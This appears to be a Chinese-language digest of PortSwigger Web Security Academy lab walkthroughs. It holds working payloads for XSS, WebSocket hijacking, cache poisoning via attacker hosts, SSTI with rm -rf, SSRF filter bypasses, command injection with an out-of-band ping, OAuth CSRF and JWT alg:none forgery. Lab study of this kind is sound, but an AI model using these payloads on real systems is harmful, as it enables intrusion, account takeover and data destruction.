WebSockets
操纵 WebSocket 消息以利用漏洞
可见websocket通信
操纵 WebSocket 握手以利用漏洞
做了过滤并且切断了连接
尝试重新连接 但是发现 地址被过滤了
<img src=1 oNeRrOr=alert`1`>
<script> var ws = new WebSocket('wss://0ae0005c0315701cc023ea1c000e00f2.web-security-academy.net/chat'); //发起一个 wss 对话 ws.onopen = function() { ws.send("READY"); //连接建立起来之后会触发 onopen() 事件处理程序 它向服务器发送READY消息 }; ws.onmessage = function(event) { //放消息发送给客户端时会触发 ws.onmessage事件处理 fetch( ...
Web cache poisoning
带有未加密标头的 Web 缓存中毒
X-Forwarded-Host: wanan.red
alert(document.cookie)
使用未加密的 cookie 的 Web 缓存中毒
其中cookie 被放到响应中了
fehost=prod"-alert(1)-"01
具有多个标头的 Web 缓存中毒
X-Forwarded-Host: wanan.redX-Forwarded-Scheme: http
但是当 scheme 为 https时并不会跳转
X-Forwarded-Host: exploit-0aa8002d04531e8ec6886669016d0054.exploit-server.netX-Forwarded-Scheme: http
使用未知标头的有针对性的 Web 缓存中毒
<img src="https://exploit-0a7500b804ae08ffc13ea9fe017e00a2.exploit-server.net/foo" />
通过未 ...
SQL injection
sql注入sql注入备忘录清单
https://portswigger.net/web-security/sql-injection/cheat-sheet
SQL1这里让我们显示所有的产品详细信息
点点看发现一个参数
但是这里不是注入点 下面才是
这里简单测试一下注入点便过关了
SQL2这里需要我们以administrator 用户登录
或者
SQL3让我们通过 union 注入获取列数 并将数据全部置为空
3没问题 4 报错 那么说明就是三列
SQL4这里首先要用 union 确定列数 接着确定兼容字符串的列
这里写有让数据库返回的值
可见2是回显位
SQL5这里让我们检索administrator的密码 顺便告诉了我们在users表 的username 和 password中
SQL6这里的目的和上一关是一样的
这里使用上一关的payload 不可行 这里可能是由于数据类型不兼容
当修改第一个参数为NULL的时候这里便可以正常执行
但是这里仅有一个回显位 这里的话 我们可以选择分开执行 当然也可以将查询到的内容 ...
Server-side template injection
基本服务器端模板注入
当点击第一个信息的时候
弹出了一个新的页面
/?message=<@urlencode><%= 7* 7 %><@/urlencode>
可以发现使用了模板语句 <%= Ruby expression – replace with result %> 可以插入ruby代码 属于erb框架的语句
那么我们尝试使用ruby的 system()方法去执行系统命令
/?message=<@urlencode><%= system('ls') %><@/urlencode>
/?message=<@urlencode><%= system('rm -rf morale.txt') %><@/urlencode>
基本服务器端模板注入(代码上下文)
blog-post-author-display=<@urlencode>user.first_name}} ...
Server-side request forgery
针对本地服务器的基本 SSRF
可以看到发送了一个url过去 说明后端可能存在url请求解析
说明存在ssrf 并且可以看到存在一个 admin panel页面
stockApi=http%3a//127.0.0.1/admin/delete?username=carlos
针对另一个后端系统的基本 SSRF
可以发现这个199与其他的不一样 而且是not found 说明可能url不正确
SSRF 与基于黑名单的输入过滤器
可以看到存在过滤 简单绕过一下
stockApi=http://127.1/
还是存在过滤 我们这里使用二次url编码admin字符
stockApi=http://127.1/%25%36%31%25%36%34%25%36%64%25%36%39%25%36%65/delete?username=carlos
SSRF 通过开放重定向漏洞绕过过滤器
这次无法绕过 但是我们发现在next product 存在一个开放重定向漏洞
带外检测的盲 SSRF
替换referer
具有基于白名单的输入过滤器的 SSRF ...
Prototype pollution
通过客户端原型污染的 DOM XSS
首先在控制台上面 执行 Object.prototype
接着在url 尝试通过任意字符串注入任意属性
/?__proto__[foo]=bar
再次执行Object.prototype 发现我们的属性已经被注入进去了
async function searchLogger() { let config = {params: deparam(new URL(location).searchParams.toString())}; if(config.transport_url) { let script = document.createElement('script'); script.src = config.transport_url; document.body.appendChild(script); } if(config.params && config.params.sear ...
OS command injection
操作系统命令注入,简单案例
productId=3&storeId=2+|+whoami
具有时间延迟的盲操作系统命令注入
csrf=6MTK8ezPHaRvkb0SrUGDYuzvGsMIPlBT&name=1&email=|sleep+10|&subject=1&message=1
带输出重定向的盲操作系统命令注入
csrf=0RQvmPNElav5S2TjfXdN8AOIlFL7Rdb9&name=1&email=|whoami>>/var/www/images/output.txt|&subject=1&message=1
带外交互的盲操作系统命令注入
csrf=u3WKiY9ANqJGps5Sx4qbt4N2w1bHjQ24&name=1&email=|ping+m8vxmbxifw9lbikzy0wd52nmyd44sugj.oastify.com|&subject=1&message=1
带外数据渗漏的盲目操作系统命令注入
csrf ...
OAuth authentication
通过 OAuth 隐式流程绕过身份验证
强制 OAuth 配置文件链接
首先通过正常的 登录方式登录
可以看到存在绑定社交媒体页面
这里的关键步骤在这里 其中存在的漏洞点就是 认证的链接 单单靠着一步执行的 而其中也没有别的 参数去防止csrf 假如让一个登录的人访问我们的 /oauth-linking?code=k-iE3ti7b74nj3jUM_3-LUhYVrhBu592wzmSmT0d7Tp 那么通过他的session 就会绑定到我们的社交媒体账号
<iframe src="https://0a67007d040dc680c337abec006100e0.web-security-academy.net/oauth-linking?code=duxFgvd9fTrdOEAgTRSaESfEQcXxdYLhQotN6vwuiDr"></iframe>
注意丢弃这个请求
通过 redirect_uri 劫持 OAuth 帐户
可以看到这里存在 redirect_uri 重定向
< ...
JWT
通过未验证签名绕过 JWT 身份验证
先下个扩展
{ "iss": "portswigger", "sub": "administrator", "exp": 1672383570}
通过有缺陷的签名验证绕过 JWT 身份验证
{ "kid": "90578e0c-84e4-45d9-a72b-c9fea23be6cf", "alg": "none"}
{ "iss": "portswigger", "sub": "administrator", "exp": 1672383902}
尝试删去签名
eyJraWQiOiI5MDU3OGUwYy04NGU0LTQ1ZDktYTcyYi1 ...
Insecure deserialization
修改序列化对象
O:4:"User":2:{s:8:"username";s:6:"wiener";s:5:"admin";b:1;}
Tzo0OiJVc2VyIjoyOntzOjg6InVzZXJuYW1lIjtzOjY6IndpZW5lciI7czo1OiJhZG1pbiI7YjoxO30%3d
修改序列化数据类型
<@base64url>O:4:"User":2:{s:8:"username";s:13:"administrator";s:12:"access_token";i:0;}<@/base64url>
用应用程序功能来利用不安全的反序列化
<@base64url>O:4:"User":3:{s:8:"username";s:6:"wiener";s ...